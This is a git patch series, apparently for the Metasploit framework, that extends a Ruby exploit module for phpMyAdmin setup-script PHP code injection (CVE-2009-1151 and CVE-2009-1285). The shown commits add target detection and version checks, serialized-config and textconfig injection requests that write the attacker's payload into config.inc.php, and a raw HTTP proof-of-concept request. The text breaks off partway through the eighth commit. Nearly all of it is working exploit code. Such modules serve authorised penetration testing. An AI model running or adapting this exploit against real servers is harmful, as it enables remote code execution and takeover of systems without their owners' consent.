From 6cc3e391f77f3ee67636147085d093d6d2a9bb09 Mon Sep 17 00:00:00 2001 From: g0t mi1k Date: Tue, 24 Feb 2026 12:01:22 +0000 Subject: [PATCH 01/11] phpmyadmin_config: Add check --- .../exploits/unix/webapp/phpmyadmin_config.rb | 73 ++++++++++++++++++- 1 file changed, 71 insertions(+), 2 deletions(-) diff --git a/modules/exploits/unix/webapp/phpmyadmin_config.rb b/modules/exploits/unix/webapp/phpmyadmin_config.rb index 9b6206c3df..019e689c4e 100644 --- a/modules/exploits/unix/webapp/phpmyadmin_config.rb +++ b/modules/exploits/unix/webapp/phpmyadmin_config.rb @@ -69,10 +69,79 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URI', [ true, "Base phpMyAdmin directory path", '/phpMyAdmin/']), + # /scripts/setup.php - <= 2.11.9.5/3.0.x + # /setup/ - >= 3.1.x + OptString.new('SETUP_PATH', [ false, "phpMyAdmin setup directory path (Blank to automatically detect)" ]) ] ) end + def request_setup(uri) + uri = normalize_uri(datastore['URI'], uri) + vprint_status("Trying: #{uri}") + response = send_request_raw({ 'uri' => uri }) + if response.nil? + vprint_error("Error with setup request (No response)") + elsif response.code != 200 + vprint_error("Error with setup request (HTTP #{response.code}, should be 200)") + else + vprint_good("Found: #{uri}") + end + + response + end + + def find_setup_path + if datastore['SETUP_PATH'].nil? + vprint_status("Attempting to automatically detect phpMyAdmin setup directory path") + + response = request_setup("/scripts/setup.php") # phpMyAdmin <= 2.11.9.5/3.0.x + response = request_setup("/setup/") unless response and response.code == 200 # phpMyAdmin >= 3.1.x + else + response = request_setup(datastore['SETUP_PATH']) + end + + print_error("Unable to find valid phpMyAdmin setup directory path") unless response and response.code == 200 + + response + end + + def check + response = find_setup_path + return Exploit::CheckCode::Safe unless response and response.code == 200 + if (response.body !~ /"token"\s*value="([^"]*)"/) + print_error("Couldn't find token and can't continue without it. Is URI set correctly?") + return Exploit::CheckCode::Safe + elsif (response.body =~ /Cannot load or save configuration/) + print_error("'config' folder permissions may not be setup correctly (writable!)") + return Exploit::CheckCode::Safe + elsif (response.body =~ /Please create web server writable folder/) # Full message: Please create web server writable folder config in phpMyAdmin top level directory as described in documentation. Otherwise you will be only able to download or display it. + print_error("'config' folder permissions may not be setup correctly (writable! - Error: 2)") + return Exploit::CheckCode::Safe + end + + version = response.body[/\phpMyAdmin (.*?) setup\<\/title\>/i, 1] + if version + vprint_status("Found version: #{version}") + v = Rex::Version.new(version) + + vulnerable = + (v >= Rex::Version.new('2.11.0') && v < Rex::Version.new('2.11.9.5')) || + (v >= Rex::Version.new('3.0.0') && v < Rex::Version.new('3.1.3.1')) + + if vulnerable + print_good("Target version is in range! (#{version})") + return Exploit::CheckCode::Appears + else + print_status("Target version is not in range (#{version})") + end + else + print_error("Could not determine version") + end + + return Exploit::CheckCode::Safe + end + def exploit # First, grab the session cookie and the CSRF token print_status("Grabbing session cookie and CSRF token") @@ -103,13 +172,13 @@ class MetasploitModule < Msf::Exploit::Remote # Now that we've got the cookie and token, send the evil print_status("Sending save request") response = send_request_raw({ - 'uri' => normalize_uri(datastore['URI'], "/scripts/setup.php"), + 'uri' => normalize_uri(datastore['URI'], "/scripts/setup.php"), 'method' => 'POST', 'data' => data, 'cookie' => cookie, 'headers' => { - 'Content-Type' => 'application/x-www-form-urlencoded', + 'Content-Type' => 'application/x-www-form-urlencoded', 'Content-Length' => data.length } }, 3) From d6914f081235fdcc104cf9008f0e572d463880c9 Mon Sep 17 00:00:00 2001 From: g0t mi1k Date: Tue, 24 Feb 2026 12:05:47 +0000 Subject: [PATCH 02/11] phpmyadmin_config: Reformat exploit --- .../exploits/unix/webapp/phpmyadmin_config.rb | 95 +++++++++++-------- 1 file changed, 53 insertions(+), 42 deletions(-) diff --git a/modules/exploits/unix/webapp/phpmyadmin_config.rb b/modules/exploits/unix/webapp/phpmyadmin_config.rb index 019e689c4e..b21e59708e 100644 --- a/modules/exploits/unix/webapp/phpmyadmin_config.rb +++ b/modules/exploits/unix/webapp/phpmyadmin_config.rb @@ -142,58 +142,69 @@ class MetasploitModule < Msf::Exploit::Remote return Exploit::CheckCode::Safe end + def valid_request(response, expected_http_code = 200) + fail_with(Failure::Unknown, "Error with exploit request (No response)") if response.nil? + fail_with(Failure::Unknown, "Error with exploit request (HTTP #{response.code}, should be #{expected_http_code})") unless response and response.code == expected_http_code + #vprint_status("Response: #{response.body}") + end + def exploit - # First, grab the session cookie and the CSRF token - print_status("Grabbing session cookie and CSRF token") - uri = normalize_uri(datastore['URI'], "/scripts/setup.php") - response = send_request_raw({ 'uri' => uri }) - if !response - fail_with(Failure::NotFound, "Failed to retrieve hash, server may not be vulnerable.") - return - end - if (response.body !~ /"token"\s*value="([^"]*)"/) - fail_with(Failure::NotFound, "Couldn't find token and can't continue without it. Is URI set correctly?") - return - end + response = find_setup_path + fail_with(Failure::NotFound, "Failed - Server may not be vulnerable") unless response and response.code == 200 + uri = response.request[/^GET\s+(\S+)/, 1] + + # Find the CSRF token and session cookie + fail_with(Failure::NotFound, "Couldn't find token and can't continue without it. Is URI set correctly?") if (response.body !~ /"token"\s*value="([^"]*)"/) token = $1 cookie = response.get_cookies + #vprint_status("CSRF token: #{token}") + #vprint_status("Cookie: #{cookie}") - # There is probably a great deal of randomization that can be done with - # this format. - config = "a:1:{s:7:\"Servers\";a:1:{i:0;a:6:{s:#{payload.encoded.length + 13}:\"" - config << "host']='';" + payload.encoded + ";//" - config << '";s:9:"' + rand_text_alpha(9) + '";s:9:"extension";s:6:"mysqli";s:12:"connect_type"' - config << ';s:3:"tcp";s:8:"compress";b:0;s:9:"auth_type";s:6:"config";s:4:"user";s:4:"' + rand_text_alpha(4) + '";}}}' + case uri + when %r{\A/scripts/setup\.php} + vprint_status("Constructing exploit (save request) for: <= 2.11.9.5/3.0.x") - data = "token=#{token}&action=save&configuration=" - data << Rex::Text.uri_encode(config) - data << "&eoltype=unix" + # There is probably a great deal of randomization that can be done with + # this format. + config = "a:1:{s:7:\"Servers\";a:1:{i:0;a:6:{s:#{payload.encoded.length + 13}:\"" + config << "host']='';" + payload.encoded + ";//" + config << '";s:9:"' + rand_text_alpha(9) + '";s:9:"extension";s:6:"mysqli";s:12:"connect_type"' + config << ';s:3:"tcp";s:8:"compress";b:0;s:9:"auth_type";s:6:"config";s:4:"user";s:4:"' + rand_text_alpha(4) + '";}}}' - # Now that we've got the cookie and token, send the evil - print_status("Sending save request") - response = send_request_raw({ - 'uri' => normalize_uri(datastore['URI'], "/scripts/setup.php"), - 'method' => 'POST', - 'data' => data, - 'cookie' => cookie, - 'headers' => - { - 'Content-Type' => 'application/x-www-form-urlencoded', - 'Content-Length' => data.length - } - }, 3) + data = "token=#{token}&action=save&configuration=" + data << Rex::Text.uri_encode(config) + data << "&eoltype=unix" - print_status("Requesting our payload") + # Now that we've got the cookie and token, send the evil + print_status("Sending save request") + response = send_request_raw({ + 'uri' => normalize_uri(datastore['URI'], "/scripts/setup.php"), + 'method' => 'POST', + 'data' => data, + 'cookie' => cookie, + 'headers' => + { + 'Content-Type' => 'application/x-www-form-urlencoded', + 'Content-Length' => data.length + } + }, 3) + else + fail_with(Failure::Unknown, "...unsure of target: #{uri}") + end - # very short timeout because the request may never return if we're - # sending a socket payload + # Very short timeout because the request may never return if we're sending a socket payload timeout = 0.1 + uri = normalize_uri(datastore['URI'], "/config/config.inc.php") + print_status("Requesting our payload: #{uri}") response = send_request_raw({ - # Allow findsock payloads to work - 'global' => true, - 'uri' => normalize_uri(datastore['URI'], "/config/config.inc.php") + 'global' => true, # Allow findsock payloads to work + 'uri' => uri }, timeout) - - handler + # Due to short timeout, may take longer to get a response/shell/session, so not a big deal if this fails + if response.nil? + vprint_warning('The request received no response in the allotted time, and is expected, even if the exploit succeeds.') + elsif response.code != 200 + vprint_error("Error with payload request (HTTP #{response.code}, should be 200)") + end end end From bf28b0d3e742083dfd1fff14c1ab26ce5eb84643 Mon Sep 17 00:00:00 2001 From: g0t mi1k Date: Tue, 24 Feb 2026 12:08:47 +0000 Subject: [PATCH 03/11] phpmyadmin_config: Add v3.1.x As it turns out, this is part of CVE-2009-1285 (<= v3.1.3.1) This does not exploit CVE-2009-1151 for v3.1.x --- .../exploits/unix/webapp/phpmyadmin_config.rb | 79 +++++++++++++++++++ 1 file changed, 79 insertions(+) diff --git a/modules/exploits/unix/webapp/phpmyadmin_config.rb b/modules/exploits/unix/webapp/phpmyadmin_config.rb index b21e59708e..d462df93c1 100644 --- a/modules/exploits/unix/webapp/phpmyadmin_config.rb +++ b/modules/exploits/unix/webapp/phpmyadmin_config.rb @@ -188,6 +188,85 @@ class MetasploitModule < Msf::Exploit::Remote 'Content-Length' => data.length } }, 3) + when %r{\A/setup(?:/(?:config|index)\.php)?/?\z} + phpmyadmin_cookie = cookie[/phpMyAdmin=([^;]+)/, 1] + fail_with(Failure::UnexpectedReply, 'phpMyAdmin cookie not found') unless phpmyadmin_cookie + #vprint_status("phpMyAdmin cookie: #{phpmyadmin_cookie}") + + print_status("Sending exploit >= 3.1.x (new server): #{uri}") + response = send_request_cgi( + { + 'method' => 'POST', + 'uri' => uri, + 'vars_get' => { + 'phpMyAdmin' => phpmyadmin_cookie, + 'check_page_refresh'=> '1', + 'token' => token, + 'page' => 'servers', + 'mode' => 'add', + 'submit' => 'New server' + }, + 'cookie' => cookie, + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'check_page_refresh' => '1', + 'token' => token, + 'Servers-0-verbose' => "*/#{payload.encoded}/*", + 'Servers-0-host' => 'localhost', + 'Servers-0-port' => '', + 'Servers-0-socket' => '', + 'Servers-0-connect_type' => 'tcp', + 'Servers-0-extension' => 'mysqli', + 'Servers-0-auth_type' => 'cookie', + 'Servers-0-user' => 'root', + 'Servers-0-password' => '', + 'Servers-0-auth_swekey_config' => '', + 'submit_save' => 'Save', + 'Servers-0-SignonSession' => '', + 'Servers-0-SignonURL' => '', + 'Servers-0-LogoutURL' => '', + 'Servers-0-only_db' => '', + 'Servers-0-hide_db' => '', + 'Servers-0-AllowRoot' => 'on', + 'Servers-0-DisableIS' => 'on', + 'Servers-0-AllowDeny-order' => '', + 'Servers-0-AllowDeny-rules' => '', + 'Servers-0-ShowDatabasesCommand' => 'SHOW DATABASES', + 'Servers-0-CountTables' => 'on', + 'Servers-0-pmadb' => '', + 'Servers-0-controluser' => '', + 'Servers-0-controlpass' => '', + 'Servers-0-verbose_check' => 'on', + 'Servers-0-bookmarktable' => '', + 'Servers-0-relation' => '', + 'Servers-0-table_info' => '', + 'Servers-0-table_coords' => '', + 'Servers-0-pdf_pages' => '', + 'Servers-0-column_info' => '', + 'Servers-0-history' => '', + 'Servers-0-designer_coords' => '' + } + }, 3) + vprint_status("Sent!") + + valid_request(response, 303) + + uri = uri.sub(%r{/setup(?:/(?:config|index)\.php)?/?\z}, '/setup/config.php') + print_status("Sending exploit >= 3.1.x (save config): #{uri}") + response = send_request_cgi( + { + 'method' => 'POST', + 'uri' => uri, + 'cookie' => cookie, + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'token' => token, + 'submit_save' => 'Save' + } + }, 3) + vprint_status("Sent!") + + valid_request(response, 303) else fail_with(Failure::Unknown, "...unsure of target: #{uri}") end From cc3f76d586b92a6441fe02d5afdca4dc1e0d5466 Mon Sep 17 00:00:00 2001 From: g0t mi1k Date: Tue, 24 Feb 2026 12:11:05 +0000 Subject: [PATCH 04/11] phpmyadmin_config: Reformat code --- .../exploits/unix/webapp/phpmyadmin_config.rb | 93 +++++++++++-------- 1 file changed, 56 insertions(+), 37 deletions(-) diff --git a/modules/exploits/unix/webapp/phpmyadmin_config.rb b/modules/exploits/unix/webapp/phpmyadmin_config.rb index d462df93c1..0bb5b6a811 100644 --- a/modules/exploits/unix/webapp/phpmyadmin_config.rb +++ b/modules/exploits/unix/webapp/phpmyadmin_config.rb @@ -12,14 +12,13 @@ class MetasploitModule < Msf::Exploit::Remote super( update_info( info, - 'Name' => 'PhpMyAdmin Config File Code Injection', + 'Name' => 'phpMyAdmin Config File Code Injection', 'Description' => %q{ This module exploits a vulnerability in phpMyAdmin's setup feature which allows an attacker to inject arbitrary PHP code into a configuration file. The original advisory says the vulnerability is present in phpMyAdmin versions 2.11.x - < 2.11.9.5 and 3.x < 3.1.3.1; this module was tested on - 3.0.1.1. + < 2.11.9.5 and 3.x < 3.1.3.1. The file where our payload is written (phpMyAdmin/config/config.inc.php) is not directly used by @@ -37,11 +36,11 @@ class MetasploitModule < Msf::Exploit::Remote [ 'CVE', '2009-1151' ], [ 'OSVDB', '53076' ], [ 'EDB', '8921' ], - [ 'URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php' ], - [ 'URL', 'http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/' ] + [ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2009-3/' ], + [ 'URL', 'https://web.archive.org/web/20130724101149/http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/' ] ], 'Privileged' => false, - 'Platform' => ['php'], + 'Platform' => [ 'php' ], 'Arch' => ARCH_PHP, 'Payload' => { 'Space' => 4000, # unlimited really since our shellcode gets written to a file @@ -51,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'ConnectionType' => 'find', }, - 'Keys' => ['php'], + 'Keys' => [ 'php' ], }, 'Targets' => [ [ 'Automatic (phpMyAdmin 2.11.x < 2.11.9.5 and 3.x < 3.1.3.1)', {} ], @@ -68,7 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ - OptString.new('URI', [ true, "Base phpMyAdmin directory path", '/phpMyAdmin/']), + OptString.new('URI', [ true, "Base phpMyAdmin directory path", "/phpMyAdmin/" ]), # /scripts/setup.php - <= 2.11.9.5/3.0.x # /setup/ - >= 3.1.x OptString.new('SETUP_PATH', [ false, "phpMyAdmin setup directory path (Blank to automatically detect)" ]) @@ -109,6 +108,7 @@ class MetasploitModule < Msf::Exploit::Remote def check response = find_setup_path return Exploit::CheckCode::Safe unless response and response.code == 200 + if (response.body !~ /"token"\s*value="([^"]*)"/) print_error("Couldn't find token and can't continue without it. Is URI set correctly?") return Exploit::CheckCode::Safe @@ -142,10 +142,29 @@ class MetasploitModule < Msf::Exploit::Remote return Exploit::CheckCode::Safe end + def php_serialize(o) + case o + when String + "s:#{o.bytesize}:\"#{o}\";" + when Integer + "i:#{o};" + when TrueClass + "b:1;" + when FalseClass + "b:0;" + when Array + body = o.each_with_index.map { |v,i| php_serialize(i) + php_serialize(v) }.join + "a:#{o.length}:{#{body}}" + when Hash + body = o.map { |k,v| php_serialize(k) + php_serialize(v) }.join + "a:#{o.length}:{#{body}}" + end + end + def valid_request(response, expected_http_code = 200) - fail_with(Failure::Unknown, "Error with exploit request (No response)") if response.nil? - fail_with(Failure::Unknown, "Error with exploit request (HTTP #{response.code}, should be #{expected_http_code})") unless response and response.code == expected_http_code - #vprint_status("Response: #{response.body}") + fail_with(Failure::Unknown, "Error with exploit request (No response)") unless response + return if [expected_http_code, 200].include?(response.code) + fail_with(Failure::Unknown, "Error with exploit request (HTTP #{response.code}, expected #{expected_http_code})") end def exploit @@ -157,41 +176,45 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::NotFound, "Couldn't find token and can't continue without it. Is URI set correctly?") if (response.body !~ /"token"\s*value="([^"]*)"/) token = $1 cookie = response.get_cookies - #vprint_status("CSRF token: #{token}") - #vprint_status("Cookie: #{cookie}") case uri - when %r{\A/scripts/setup\.php} + when %r{/scripts/setup\.php} vprint_status("Constructing exploit (save request) for: <= 2.11.9.5/3.0.x") - # There is probably a great deal of randomization that can be done with - # this format. - config = "a:1:{s:7:\"Servers\";a:1:{i:0;a:6:{s:#{payload.encoded.length + 13}:\"" - config << "host']='';" + payload.encoded + ";//" - config << '";s:9:"' + rand_text_alpha(9) + '";s:9:"extension";s:6:"mysqli";s:12:"connect_type"' - config << ';s:3:"tcp";s:8:"compress";b:0;s:9:"auth_type";s:6:"config";s:4:"user";s:4:"' + rand_text_alpha(4) + '";}}}' + injected = "host']='';#{payload.encoded};//" - data = "token=#{token}&action=save&configuration=" - data << Rex::Text.uri_encode(config) - data << "&eoltype=unix" + # There is probably a great deal of randomization that can be done with this PHP serialized array + config_hash = { + "Servers" => [ + { + injected => "", + rand_text_alpha(9) => "extension", + "connect_type" => "tcp", + "compress" => false, + "auth_type" => "config", + "user" => rand_text_alpha(4) + } + ] + } + config = php_serialize(config_hash) # Now that we've got the cookie and token, send the evil - print_status("Sending save request") - response = send_request_raw({ - 'uri' => normalize_uri(datastore['URI'], "/scripts/setup.php"), + print_status("Sending exploit (save request): #{uri}") + response = send_request_cgi({ 'method' => 'POST', - 'data' => data, + 'uri' => uri , 'cookie' => cookie, - 'headers' => - { - 'Content-Type' => 'application/x-www-form-urlencoded', - 'Content-Length' => data.length + 'vars_post' => { + 'token' => token, + 'action' => 'save', + 'configuration' => config, + 'eoltype' => 'unix' } }, 3) - when %r{\A/setup(?:/(?:config|index)\.php)?/?\z} + valid_request(response) + when %r{/setup(?:/(?:config|index)\.php)?/?\z} phpmyadmin_cookie = cookie[/phpMyAdmin=([^;]+)/, 1] fail_with(Failure::UnexpectedReply, 'phpMyAdmin cookie not found') unless phpmyadmin_cookie - #vprint_status("phpMyAdmin cookie: #{phpmyadmin_cookie}") print_status("Sending exploit >= 3.1.x (new server): #{uri}") response = send_request_cgi( @@ -247,8 +270,6 @@ class MetasploitModule < Msf::Exploit::Remote 'Servers-0-designer_coords' => '' } }, 3) - vprint_status("Sent!") - valid_request(response, 303) uri = uri.sub(%r{/setup(?:/(?:config|index)\.php)?/?\z}, '/setup/config.php') @@ -264,8 +285,6 @@ class MetasploitModule < Msf::Exploit::Remote 'submit_save' => 'Save' } }, 3) - vprint_status("Sent!") - valid_request(response, 303) else fail_with(Failure::Unknown, "...unsure of target: #{uri}") From 8938ee75e5907e5682001bce55d34230e22afd09 Mon Sep 17 00:00:00 2001 From: g0t mi1k Date: Tue, 24 Feb 2026 13:43:36 +0000 Subject: [PATCH 05/11] phpmyadmin_config: Another <= v3.1.3.1 (CVE-2009-1285) CVE-2009-1285 has two vulns for v3.1.x ## PoC ``` POST /setup/config.php?type=post HTTP/1.1 Host: 127.0.0.1:8083 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Content-Type: application/x-www-form-urlencoded Cookie: phpMyAdmin=3d88785a775a6bdd4a4eee4d7ce5fe7b99a802bb; pma_lang=en-utf-8; pma_charset=utf-8; pma_mcrypt_iv=Mc1O5ByaScc%3D; phpMyAdmin=aeb5279f061348c557a7c366abb67deefe14b535 Content-Length: 109 token=e555e9ff29b23a81ff9d20affa616a8b&eol=unix&textconfig=%3C%3Fphp+phpinfo%28%29%3B+%3F%3E&submit_save=Save ``` --- .../exploits/unix/webapp/phpmyadmin_config.rb | 51 ++++++++++++++----- 1 file changed, 39 insertions(+), 12 deletions(-) diff --git a/modules/exploits/unix/webapp/phpmyadmin_config.rb b/modules/exploits/unix/webapp/phpmyadmin_config.rb index 0bb5b6a811..28ab3b70d6 100644 --- a/modules/exploits/unix/webapp/phpmyadmin_config.rb +++ b/modules/exploits/unix/webapp/phpmyadmin_config.rb @@ -17,8 +17,11 @@ class MetasploitModule < Msf::Exploit::Remote This module exploits a vulnerability in phpMyAdmin's setup feature which allows an attacker to inject arbitrary PHP code into a configuration file. The original advisory says - the vulnerability is present in phpMyAdmin versions 2.11.x - < 2.11.9.5 and 3.x < 3.1.3.1. + the vulnerability is present in phpMyAdmin versions + 2.11.x <= 2.11.9.4 and 3.x <= 3.1.3. + + There was a follow up vulnerability as the patch was + incomplete, affecting versions 3.x <= 3.1.3.1. The file where our payload is written (phpMyAdmin/config/config.inc.php) is not directly used by @@ -27,9 +30,10 @@ class MetasploitModule < Msf::Exploit::Remote after successful exploitation. }, 'Author' => [ - 'Greg Ose', # Discovery - 'pagvac', # milw0rm PoC - 'egypt' # metasploit module + 'Greg Ose', # Discovery (CVE-2009-1151, v2.11.x <= v3.0.x) + 'pagvac', # milw0rm PoC (CVE-2009-1151) + 'egypt', # metasploit + 'Tenable' # Discovery (CVE-2009-1285, v3.1.x <= v3.1.3.1) ], 'License' => MSF_LICENSE, 'References' => [ @@ -37,7 +41,10 @@ class MetasploitModule < Msf::Exploit::Remote [ 'OSVDB', '53076' ], [ 'EDB', '8921' ], [ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2009-3/' ], - [ 'URL', 'https://web.archive.org/web/20130724101149/http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/' ] + [ 'URL', 'https://web.archive.org/web/20130724101149/http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/' ], + [ 'CVE', '2009-1285' ], + [ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2009-4/' ], + [ 'URL', 'https://www.tenable.com/security/research/tra-2009-02' ] ], 'Privileged' => false, 'Platform' => [ 'php' ], @@ -53,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Keys' => [ 'php' ], }, 'Targets' => [ - [ 'Automatic (phpMyAdmin 2.11.x < 2.11.9.5 and 3.x < 3.1.3.1)', {} ], + [ 'Automatic (phpMyAdmin 2.11.x <= 2.11.9.4 and 3.x <= 3.1.3.1)', {} ], ], 'DefaultTarget' => 0, 'DisclosureDate' => '2009-03-24', @@ -68,7 +75,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URI', [ true, "Base phpMyAdmin directory path", "/phpMyAdmin/" ]), - # /scripts/setup.php - <= 2.11.9.5/3.0.x + # /scripts/setup.php - <= 2.11.9.4/3.0.x # /setup/ - >= 3.1.x OptString.new('SETUP_PATH', [ false, "phpMyAdmin setup directory path (Blank to automatically detect)" ]) ] @@ -94,8 +101,9 @@ class MetasploitModule < Msf::Exploit::Remote if datastore['SETUP_PATH'].nil? vprint_status("Attempting to automatically detect phpMyAdmin setup directory path") - response = request_setup("/scripts/setup.php") # phpMyAdmin <= 2.11.9.5/3.0.x - response = request_setup("/setup/") unless response and response.code == 200 # phpMyAdmin >= 3.1.x + response = request_setup("/scripts/setup.php") # phpMyAdmin <= 2.11.9.4/3.0.x + response = request_setup("/setup/index.php?page=config") unless response and response.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #1, textconfig) + response = request_setup("/setup/") unless response and response.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #2, server name comments) else response = request_setup(datastore['SETUP_PATH']) end @@ -127,7 +135,7 @@ class MetasploitModule < Msf::Exploit::Remote vulnerable = (v >= Rex::Version.new('2.11.0') && v < Rex::Version.new('2.11.9.5')) || - (v >= Rex::Version.new('3.0.0') && v < Rex::Version.new('3.1.3.1')) + (v >= Rex::Version.new('3.0.0') && v < Rex::Version.new('3.1.3.2')) if vulnerable print_good("Target version is in range! (#{version})") @@ -178,8 +186,9 @@ class MetasploitModule < Msf::Exploit::Remote cookie = response.get_cookies case uri + # CVE-2009-1151 when %r{/scripts/setup\.php} - vprint_status("Constructing exploit (save request) for: <= 2.11.9.5/3.0.x") + vprint_status("Constructing exploit (save request) for: <= 2.11.9.4/3.0.x") injected = "host']='';#{payload.encoded};//" @@ -212,6 +221,24 @@ class MetasploitModule < Msf::Exploit::Remote } }, 3) valid_request(response) + # CVE-2009-1285 #1 + when %r{/setup/index\.php\?page=config\z} + uri = uri.sub(%r{/setup/index\.php\?page=config\z}, '/setup/config.php?type=post') + print_status("Sending exploit >= 3.1.x (textconfig): #{uri}") + response = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri , + 'cookie' => cookie, + 'vars_post' => { + 'token' => token, + 'eol' => 'unix', + 'textconfig' => "", + 'submit_save' => 'Save' + + } + }, 3) + valid_request(response, 303) + # CVE-2009-1285 #2 when %r{/setup(?:/(?:config|index)\.php)?/?\z} phpmyadmin_cookie = cookie[/phpMyAdmin=([^;]+)/, 1] fail_with(Failure::UnexpectedReply, 'phpMyAdmin cookie not found') unless phpmyadmin_cookie From 18e4c8e28dcb82d08c0897a79cd294b0f0c2f39f Mon Sep 17 00:00:00 2001 From: g0t mi1k Date: Wed, 25 Feb 2026 08:53:36 +0000 Subject: [PATCH 06/11] phpmyadmin_config: Misc ruby format tweaks This is based on MR feedback --- .../exploits/unix/webapp/phpmyadmin_config.rb | 26 ++++++++++--------- 1 file changed, 14 insertions(+), 12 deletions(-) diff --git a/modules/exploits/unix/webapp/phpmyadmin_config.rb b/modules/exploits/unix/webapp/phpmyadmin_config.rb index 28ab3b70d6..46c85decde 100644 --- a/modules/exploits/unix/webapp/phpmyadmin_config.rb +++ b/modules/exploits/unix/webapp/phpmyadmin_config.rb @@ -98,26 +98,28 @@ class MetasploitModule < Msf::Exploit::Remote end def find_setup_path + return @response_setup if @response_setup + if datastore['SETUP_PATH'].nil? vprint_status("Attempting to automatically detect phpMyAdmin setup directory path") - response = request_setup("/scripts/setup.php") # phpMyAdmin <= 2.11.9.4/3.0.x - response = request_setup("/setup/index.php?page=config") unless response and response.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #1, textconfig) - response = request_setup("/setup/") unless response and response.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #2, server name comments) + response = request_setup("/scripts/setup.php") # phpMyAdmin <= 2.11.9.4/3.0.x + response = request_setup("/setup/index.php?page=config") unless response &.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #1, textconfig) + response = request_setup("/setup/") unless response &.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #2, server name comments) else response = request_setup(datastore['SETUP_PATH']) end - print_error("Unable to find valid phpMyAdmin setup directory path") unless response and response.code == 200 + print_error("Unable to find valid phpMyAdmin setup directory path") unless response &.code == 200 - response + @response_setup = response end def check response = find_setup_path - return Exploit::CheckCode::Safe unless response and response.code == 200 + return Exploit::CheckCode::Safe unless response &.code == 200 - if (response.body !~ /"token"\s*value="([^"]*)"/) + if (response.body !~ /"token"\s*value="([^"]+)"/) print_error("Couldn't find token and can't continue without it. Is URI set correctly?") return Exploit::CheckCode::Safe elsif (response.body =~ /Cannot load or save configuration/) @@ -128,14 +130,14 @@ class MetasploitModule < Msf::Exploit::Remote return Exploit::CheckCode::Safe end - version = response.body[/\phpMyAdmin (.*?) setup\<\/title\>/i, 1] + title = response&.get_html_document &.at_xpath('//title').text + version = Rex::Version.new(title[/phpMyAdmin (.+?) setup/i, 1]) if version vprint_status("Found version: #{version}") - v = Rex::Version.new(version) vulnerable = - (v >= Rex::Version.new('2.11.0') && v < Rex::Version.new('2.11.9.5')) || - (v >= Rex::Version.new('3.0.0') && v < Rex::Version.new('3.1.3.2')) + version.between?(Rex::Version.new('2.11.0'), Rex::Version.new('2.11.9.5')) || + version.between?(Rex::Version.new('3.0.0'), Rex::Version.new('3.1.3.2')) if vulnerable print_good("Target version is in range! (#{version})") @@ -177,7 +179,7 @@ class MetasploitModule < Msf::Exploit::Remote def exploit response = find_setup_path - fail_with(Failure::NotFound, "Failed - Server may not be vulnerable") unless response and response.code == 200 + fail_with(Failure::NotFound, "Failed - Server may not be vulnerable") unless response &.code == 200 uri = response.request[/^GET\s+(\S+)/, 1] # Find the CSRF token and session cookie From 3a1d34e3003d710172e0c9144c2c46ec30ea99a4 Mon Sep 17 00:00:00 2001 From: g0t mi1k Date: Tue, 10 Mar 2026 10:03:27 +0000 Subject: [PATCH 07/11] phpmyadmin_config: Ordering matters (check vs exploit) --- modules/exploits/unix/webapp/phpmyadmin_config.rb | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) diff --git a/modules/exploits/unix/webapp/phpmyadmin_config.rb b/modules/exploits/unix/webapp/phpmyadmin_config.rb index 46c85decde..2c5394e3f0 100644 --- a/modules/exploits/unix/webapp/phpmyadmin_config.rb +++ b/modules/exploits/unix/webapp/phpmyadmin_config.rb @@ -97,15 +97,20 @@ class MetasploitModule < Msf::Exploit::Remote response end - def find_setup_path + def find_setup_path(mode: :exploit) return @response_setup if @response_setup if datastore['SETUP_PATH'].nil? vprint_status("Attempting to automatically detect phpMyAdmin setup directory path") response = request_setup("/scripts/setup.php") # phpMyAdmin <= 2.11.9.4/3.0.x - response = request_setup("/setup/index.php?page=config") unless response &.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #1, textconfig) - response = request_setup("/setup/") unless response &.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #2, server name comments) + if mode == :exploit + response = request_setup("/setup/index.php?page=config") unless response &.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #1, textconfig) + response = request_setup("/setup/") unless response &.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #2, server name comments) + else + response = request_setup("/setup/") unless response &.code == 200 # This will report if folder is writable + response = request_setup("/setup/index.php?page=config") unless response &.code == 200 # This will not + end else response = request_setup(datastore['SETUP_PATH']) end @@ -116,7 +121,7 @@ class MetasploitModule < Msf::Exploit::Remote end def check - response = find_setup_path + response = find_setup_path(mode: :check) return Exploit::CheckCode::Safe unless response &.code == 200 if (response.body !~ /"token"\s*value="([^"]+)"/) @@ -178,7 +183,7 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - response = find_setup_path + response = find_setup_path(mode: :exploit) fail_with(Failure::NotFound, "Failed - Server may not be vulnerable") unless response &.code == 200 uri = response.request[/^GET\s+(\S+)/, 1] From e025f94f7897edc683d4a30638f6caceb367c414 Mon Sep 17 00:00:00 2001 From: g0t mi1k Date: Tue, 10 Mar 2026 10:04:06 +0000 Subject: [PATCH 08/11] phpmyadmin_config: Add report_service() support --- .../exploits/unix/webapp/phpmyadmin_config.rb | 54 ++++++++++++++----- 1 file changed, 40 insertions(+), 14 